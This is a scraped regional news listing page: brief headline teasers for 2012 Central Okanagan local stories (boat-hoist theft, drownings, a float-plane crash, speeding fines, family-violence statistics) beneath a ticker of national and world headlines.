Charges stayed due to delay
Could ships bypass B.C?
Inmate charged with murder
Home after being detained
Four-medal day for Canada 
Woman killed in avalanche
At least 26 dead in storm 
Trump to speed deportations
U.S. airstrikes in Yemen
Hudson's Bay 'slow death'
TikTok deal on the way?
Stock markets rally
Vees earn another win
Blazers playoff hopes alive
Accolades for local player
Hackman's dog starved
Diddy pleads not guilty
Estate seeks to block release
Central Okanagan News
Boat lift, lifted from non-profit
Thieves stole a boat hoist valued at over $10,000 from the Lake Country Board and Ski Club. According to a member of the club the 18' aluminum Nyman Water...
Survey: Good or bad governance
The Regional District of Okanagan-Similkameen Board wants to know what you think about your local government and will conduct a telephone survey between June 1...
Patrolling the woods
The province claims the May long weekend was very successful when it came to enforcing rules and safety in recreational spots. The Ministry of Forests, Lands...
Teens escape sunken truck
RCMP say it could have been a lot worse for two teens who escaped a submerged truck Sunday afternoon. The boys were reported to have minor injuries after they...
Canada's newest soldiers
Canada's newest soldiers graduated Saturday May 26, during a ceremony at the Brigadier Murphy Armoury on 18th Ave, in Vernon. The newly minted members of...
Weed burning leads to torched trailer
Residents of Holiday Park Resort in Lake Country got a scare Friday afternoon after a man using a "tiger torch" to clear out some weeds caused a fire...
Summerland Action Festival June 1-3
SUMMERLAND ACTION FESTIVAL www.SummerlandActionFestival.com June 1, 2, 3rd 2012 The 30th Annual Summerland Action Festival, a 3 Day (Free) Family Event...
Drug conviction costs man everything
A Lake Country man has had to forfeit virtually everything after he was convicted in a Kelowna courthouse of growing marijuana. Rodney James Yax, 47, was...
Going bare in the air for cancer
On June 21st 2012, Peachland’s ZipZone will be hosting a Naked Ziplining event to raise funds for charity. Kevin Bennett, President of ZipZone, is...
Fishing hole now a dumping ground
"There it is. Their apparent outhouse." Peachland resident James Springer says the words as he looks disgustedly at an old cushioned chair perched a...
Behind the violence numbers
Statistics shouldn't be taken at face value. That's the opinion of officials with the RCMP and Kelowna Women's Shelter after a survey from...
Kelowna ranks #1 for family violence
It's not a statistic the Central Okanagan can be proud of. A new survey released this week by Statistics Canada shows the Greater Kelowna region (Peachland...
Westside Rd. claims another vehicle
Westside Road has claimed another . . . The road, voted the worst in BC in a BCAA poll earlier this month, was the scene of a single vehicle rollover Monday...
195 km/h = a fast way to lose $483
Excessive speeding has hit a Kelowna area man hard in the wallet and cost him the use of his vehicle. Police in the Central Okanagan conducted a speed...
Week in Review
News from around the Okanagan with Jen Zielinski. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()
Man drowns in Headwaters Lake
West Kelowna RCMP are investigating a drowning at Headwaters Lake. On Friday May 18, at 5:25 p.m., a report came in of a boat over turned at Headwaters Lake,...
High streamflow advisory ended
The BC River Forecast Centre has ended its high streamflow advisory for rivers in the Okanagan and Southern Interior. The centre says the hot spell...
Plane crash cause could take a year
It could be a year before we know the exact cause of last Sunday's plane crash near Brenda Mines. The de Havilland Beaver float plane with three people on...
Plane crash victims identified
The BC Coroners Service has confirmed the identities of three persons who died in the crash of a small float plane near Peachland on Sunday. The pilot of the...
Fatalities rise ahead of driving season
It's a combination that concerns Mounties in the Southeast District. During the first four months of 2012, traffic fatalities in the region are up...
